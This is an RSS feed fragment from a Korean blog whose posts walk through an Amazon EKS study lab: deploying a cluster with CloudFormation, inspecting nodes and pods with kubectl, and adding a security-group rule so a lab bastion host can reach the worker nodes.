&lt;li&gt;&lt;b&gt;Prefix Delegation :&lt;/b&gt; &lt;a href=&quot;https://www.eksworkshop.com/docs/networking/vpc-cni/prefix/&quot;&gt;https://www.eksworkshop.com/docs/networking/vpc-cni/prefix/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Custom Networking :&lt;/b&gt; &lt;a href=&quot;https://www.eksworkshop.com/docs/networking/vpc-cni/custom-networking/&quot;&gt;https://www.eksworkshop.com/docs/networking/vpc-cni/custom-networking/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/4</guid>
      <comments>https://imxsuu.tistory.com/4#entry4comment</comments>
      <pubDate>Mon, 11 Mar 2024 21:56:03 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] Amazon EKS 원클릭 배포</title>
      <link>https://imxsuu.tistory.com/3</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Amazon EKS 원클릭 배포&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스터디에서 제공하는 CloudFormation을 통해 아래와 같은 구조를 가진 Amazon EKS를 한 번에 배포할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1370&quot; data-origin-height=&quot;705&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFh0KH/btsFJqYgXex/lUuqcqVg4Z8PQnJudwBbJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFh0KH/btsFJqYgXex/lUuqcqVg4Z8PQnJudwBbJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFh0KH/btsFJqYgXex/lUuqcqVg4Z8PQnJudwBbJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFh0KH%2FbtsFJqYgXex%2FlUuqcqVg4Z8PQnJudwBbJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1370&quot; height=&quot;705&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1370&quot; data-origin-height=&quot;705&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CloudFormation 스택 실행 시 &lt;b&gt;파라미터&lt;/b&gt;를 기입하면, 해당 정보가 반영되어 배포됩니다.&lt;/li&gt;
&lt;li&gt;실습 환경을 위한 &lt;b&gt;VPC&lt;/b&gt; 1개가 생성되고, &lt;b&gt;퍼블릭&lt;/b&gt; 서브넷 3개와 &lt;b&gt;프라이빗&lt;/b&gt; 서브넷 3개가 생성됩니다.&lt;/li&gt;
&lt;li&gt;CloudFormation에 EC2의 &lt;b&gt;UserData&lt;/b&gt; 부분(Script)으로 Amazon EKS 설치(with OIDC, Endpoint Public)를 진행합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;관리형 노드 그룹&lt;/b&gt;(워커 노드)는 AZ1~AZ3를 사용하여, 기본 &lt;b&gt;3&lt;/b&gt;대로 구성됩니다.&lt;/li&gt;
&lt;li&gt;필요한 &lt;b&gt;Add-on&lt;/b&gt;을 &lt;b&gt;최신 버전&lt;/b&gt;으로 설치합니다. (&lt;u&gt;kube-proxy&lt;/u&gt;, &lt;u&gt;coredns&lt;/u&gt;, &lt;u&gt;aws vpc cni&lt;/u&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;figure id=&quot;og_1710160123397&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Amazon EKS add-ons - Amazon EKS&quot; data-og-description=&quot;Amazon EKS add-ons An add-on is software that provides supporting operational capabilities to Kubernetes applications, but is not specific to the application. This includes software like observability agents or Kubernetes drivers that allow the cluster to &quot; data-og-host=&quot;docs.aws.amazon.com&quot; data-og-source-url=&quot;https://docs.aws.amazon.com/eks/latest/userguide/eks-add-ons.html&quot; data-og-url=&quot;https://docs.aws.amazon.com/eks/latest/userguide/eks-add-ons.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://docs.aws.amazon.com/eks/latest/userguide/eks-add-ons.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.aws.amazon.com/eks/latest/userguide/eks-add-ons.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Amazon EKS add-ons - Amazon EKS&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Amazon EKS add-ons An add-on is software that provides supporting operational capabilities to Kubernetes applications, but is not specific to the application. This includes software like observability agents or Kubernetes drivers that allow the cluster to&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.aws.amazon.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;CloudFormation을 통해 설치된 쿠버네티스의 버전은 &lt;u&gt;v1.28&lt;/u&gt;입니다. 쿠버네티스의 최신 버전을 사용하지 않 은 이유는 쿠버네티스 생태계의 여러 많은 도구들도 쿠버네티스의 Main 버전을 따라가는 작업을 하지만 다소 느린 경우가 많기 때문에&lt;/span&gt; 최신 버전을 사용하게 되면 사용하는 도구들의 검증 과정이 추가적으로 필요합니다. 따라서 &lt;u&gt;최신 버전보다 1~2단계 정도 아래 버전을 사용하는 것을 권장합니다.&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Add-on의 경우에는 설치된 쿠버네티스와의 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;호환성을 높이기 위해&lt;span&gt; &lt;/span&gt;&lt;/span&gt;제공되는 버전 중 가장 최신 버전으로 설치하는 것이 좋습니다.  Add-on 설치 시 최신 버전으로 설치하는 옵션을 정해주지 않는 경우, 기본값으로 설정된 버전이 설치되기 때문에 Amazon EKS를 배포할 때 설치할 Add-on을 최신 버전으로 설치해주는 옵션을 지정하는 것을 권장합니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-11 at 8.55.44 PM.png&quot; data-origin-width=&quot;2338&quot; data-origin-height=&quot;1534&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bE2wGk/btsFHqEu31g/t1JGi4baztmFULsmd3Aby1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bE2wGk/btsFHqEu31g/t1JGi4baztmFULsmd3Aby1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bE2wGk/btsFHqEu31g/t1JGi4baztmFULsmd3Aby1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbE2wGk%2FbtsFHqEu31g%2Ft1JGi4baztmFULsmd3Aby1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2338&quot; height=&quot;1534&quot; data-filename=&quot;Screenshot 2024-03-11 at 8.55.44 PM.png&quot; data-origin-width=&quot;2338&quot; data-origin-height=&quot;1534&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배포 후에는 배스천 호스트(작업용 EC2)로 접속하여 Amazon EKS Cluster를 사용할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710415233519&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# SSH 접속
ssh -i ~/.ssh/kp-gasida.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Amazon EKS Cluster가 배포되는 과정을 로그로 확인할 수 있습니다. 이 과정은 약 20분 정도 소요됩니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710415256214&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# cloud-init 실행 과정 로그 확인
tail -f /var/log/cloud-init-output.log

# cloud-init 정상 완료 후 eksctl 실행 과정 로그 확인
tail -f /root/create-eks.log&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배포가 완료되면 이후에 기본으로 바라보는 네임스페이스를 변경합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710415586359&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# default 네임스페이스 적용
kubectl ns default

# 설치 확인
kubectl cluster-info
eksctl get cluster
eksctl get nodegroup --cluster $CLUSTER_NAME&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후의 작업을 위해 노드 정보와 SSH 접속 정보를 등록하면 실습할 환경의 준비가 완료됩니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710415785462&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 노드 IP 확인 및 PrivateIP 변수 지정
aws ec2 describe-instances --query &quot;Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}&quot; --filters Name=instance-state-name,Values=running --output table
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2b -o jsonpath={.items[0].status.addresses[0].address})
N3=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
echo &quot;export N1=$N1&quot; &amp;gt;&amp;gt; /etc/profile
echo &quot;export N2=$N2&quot; &amp;gt;&amp;gt; /etc/profile
echo &quot;export N3=$N3&quot; &amp;gt;&amp;gt; /etc/profile
echo $N1, $N2, $N3

# 노드 보안그룹에 eksctl-host 에서 노드(파드)에 접속 가능하게 룰(Rule) 추가 설정
NGSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ng1* --query &quot;SecurityGroups[*].[GroupId]&quot; --output text)
echo &quot;export NGSGID=$NGSGID&quot; &amp;gt;&amp;gt; /etc/profile
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr 192.168.1.100/32

# 워커 노드 SSH 접속 : '-i ~/.ssh/id_rsa' 생략 가능
for i in $N1 $N2 $N3; do echo &quot;&amp;gt;&amp;gt; node $i &amp;lt;&amp;lt;&quot;; ssh ec2-user@$i hostname; echo; done
for i in $N1 $N2 $N3; do echo &quot;&amp;gt;&amp;gt; node $i &amp;lt;&amp;lt;&quot;; ssh ec2-user@$i hostname; echo; done&lt;/code&gt;&lt;/pre&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/3</guid>
      <comments>https://imxsuu.tistory.com/3#entry3comment</comments>
      <pubDate>Mon, 11 Mar 2024 21:38:51 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] Amazon EKS Cluster Endpoint</title>
      <link>https://imxsuu.tistory.com/2</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;krew 플러그인&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;krew 플러그인을 설치하면 kubectl을 좀 더 편리하게 사용할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1709977755271&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# krew 플러그인 확인
kubectl krew list
kubectl ctx
kubectl ns
kubectl ns default
kubectl get-all    # 모든 네임스페이스에서 모든 리소스 확인&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;b&gt;k ns &amp;lt;namespace&amp;gt;&lt;/b&gt;&amp;nbsp;&lt;/i&gt;명령을 통해 현재 바라보고 있는 네임스페이스를 변경할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.50.55 PM.png&quot; data-origin-width=&quot;1044&quot; data-origin-height=&quot;164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bexxTt/btsFFKwft0n/BWKGFLdm0SFUJjQfrVTLZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bexxTt/btsFFKwft0n/BWKGFLdm0SFUJjQfrVTLZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bexxTt/btsFFKwft0n/BWKGFLdm0SFUJjQfrVTLZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbexxTt%2FbtsFFKwft0n%2FBWKGFLdm0SFUJjQfrVTLZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1044&quot; height=&quot;164&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.50.55 PM.png&quot; data-origin-width=&quot;1044&quot; data-origin-height=&quot;164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;b&gt;k get node&lt;/b&gt; &lt;/i&gt;명령보다 여러 옵션을 통해 더 많은 정보를 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1709978047169&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 노드 정보 확인 : OS와 컨테이너런타임 확인
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone
kubectl get node --label-columns=node.kubernetes.io/instance-type
kubectl get node
kubectl get node -owide
kubectl get node -v=6&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.53.48 PM.png&quot; data-origin-width=&quot;2812&quot; data-origin-height=&quot;286&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vbyI8/btsFGqjJUve/LjUVCAnCCc8cLtDa3bZin0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vbyI8/btsFGqjJUve/LjUVCAnCCc8cLtDa3bZin0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vbyI8/btsFGqjJUve/LjUVCAnCCc8cLtDa3bZin0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvbyI8%2FbtsFGqjJUve%2FLjUVCAnCCc8cLtDa3bZin0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2812&quot; height=&quot;286&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.53.48 PM.png&quot; data-origin-width=&quot;2812&quot; data-origin-height=&quot;286&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;EKS Cluster Endpoint - &lt;/span&gt;&lt;span style=&quot;color: #337ea9;&quot; data-token-index=&quot;1&quot;&gt;Public&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Amazon EKS에서 관리해주는 쿠버네티스 컨트롤 플레인의 영역은 온프레미스의 쿠버네티스를 배포했을 때와 다르게 파드로 노출되지 않습니다. 사용자가 신경 쓸 필요없이 AWS에서 직접 관리해주기 때문입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1709978231460&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 파드 정보 확인 : 온프레미스 쿠버네티스의 파드 배치와 다른점은?
kubectl get pod -n kube-system&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.56.45 PM.png&quot; data-origin-width=&quot;1398&quot; data-origin-height=&quot;294&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYEG55/btsFGJDm02j/LTshgnutpHlqKFJXfh1XZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYEG55/btsFGJDm02j/LTshgnutpHlqKFJXfh1XZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYEG55/btsFGJDm02j/LTshgnutpHlqKFJXfh1XZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYEG55%2FbtsFGJDm02j%2FLTshgnutpHlqKFJXfh1XZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1398&quot; height=&quot;294&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.56.45 PM.png&quot; data-origin-width=&quot;1398&quot; data-origin-height=&quot;294&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;온프레미스에서는 노드의 IP 영역대와 파드의 IP 영역대가 다르지만 Amzon EKS에서는 Amzon VPC CNI로 인해 노드와 파드가 같은 IP 영역을 사용합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1709978371951&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 파드 정보 확인 : 파드의 IP의 특징이 어떤가요?
kubectl get pod -n kube-system -o wide&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.59.44 PM.png&quot; data-origin-width=&quot;2670&quot; data-origin-height=&quot;290&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RXjzj/btsFE2cStiK/9JVRwtrt6jbFB0DMlyeBHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RXjzj/btsFE2cStiK/9JVRwtrt6jbFB0DMlyeBHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RXjzj/btsFE2cStiK/9JVRwtrt6jbFB0DMlyeBHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRXjzj%2FbtsFE2cStiK%2F9JVRwtrt6jbFB0DMlyeBHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2670&quot; height=&quot;290&quot; data-filename=&quot;Screenshot 2024-03-09 at 6.59.44 PM.png&quot; data-origin-width=&quot;2670&quot; data-origin-height=&quot;290&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노드 IP를 확인하고 변수로 지정합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1709978547088&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 노드 IP 확인 및 PrivateIP 변수 지정
aws ec2 describe-instances --query &quot;Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}&quot; --filters Name=instance-state-name,Values=running --output table
kubectl get node --label-columns=topology.kubernetes.io/zone
kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a
kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
echo $N1, $N2
echo &quot;export N1=$N1&quot; &amp;gt;&amp;gt; /etc/profile
echo &quot;export N2=$N2&quot; &amp;gt;&amp;gt; /etc/profile&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 IP로 ping 테스트를 해보면 보안그룹 설정때문에 ping이 전달되지 않는 모습을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1709978621961&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# eksctl-host 에서 노드의IP나 coredns 파드IP로 ping 테스트
ping &amp;lt;IP&amp;gt;
ping -c 1 $N1
ping -c 1 $N2&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.03.13 PM.png&quot; data-origin-width=&quot;1210&quot; data-origin-height=&quot;204&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yKSq2/btsFFSaeaDy/FSK4oScWivAhfdnkajgGY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yKSq2/btsFFSaeaDy/FSK4oScWivAhfdnkajgGY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yKSq2/btsFFSaeaDy/FSK4oScWivAhfdnkajgGY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyKSq2%2FbtsFFSaeaDy%2FFSK4oScWivAhfdnkajgGY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1210&quot; height=&quot;204&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.03.13 PM.png&quot; data-origin-width=&quot;1210&quot; data-origin-height=&quot;204&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안그룹 ID에 관리형 노드 보안그룹(192.168.1.100/32)과는 모든 프로토콜을 통해 접속이 가능하도록 룰을 설정하면 ping이 제대로 전달되는 모습을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1709978672549&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 노드 보안그룹 ID 확인
aws ec2 describe-security-groups --filters Name=group-name,Values=*nodegroup* --query &quot;SecurityGroups[*].[GroupId]&quot; --output text
NGSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*nodegroup* --query &quot;SecurityGroups[*].[GroupId]&quot; --output text)
echo $NGSGID
echo &quot;export NGSGID=$NGSGID&quot; &amp;gt;&amp;gt; /etc/profile

# 노드 보안그룹에 eksctl-host 에서 노드(파드)에 접속 가능하게 룰(Rule) 추가 설정
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr 192.168.1.100/32

# eksctl-host 에서 노드의IP나 coredns 파드IP로 ping 테스트
ping -c 2 $N1
ping -c 2 $N2&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.05.11 PM.png&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;286&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sG1hA/btsFCB1DB5u/Ad0ASajlifpLAk4449ET40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sG1hA/btsFCB1DB5u/Ad0ASajlifpLAk4449ET40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sG1hA/btsFCB1DB5u/Ad0ASajlifpLAk4449ET40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsG1hA%2FbtsFCB1DB5u%2FAd0ASajlifpLAk4449ET40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1196&quot; height=&quot;286&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.05.11 PM.png&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;286&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;EKS owned ENI 확인&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0BxO1/btsFEYVSVqb/OOnx5ekZkCgHtaRP8Seck1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;468&quot; data-filename=&quot;Untitled33333.png&quot; /&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
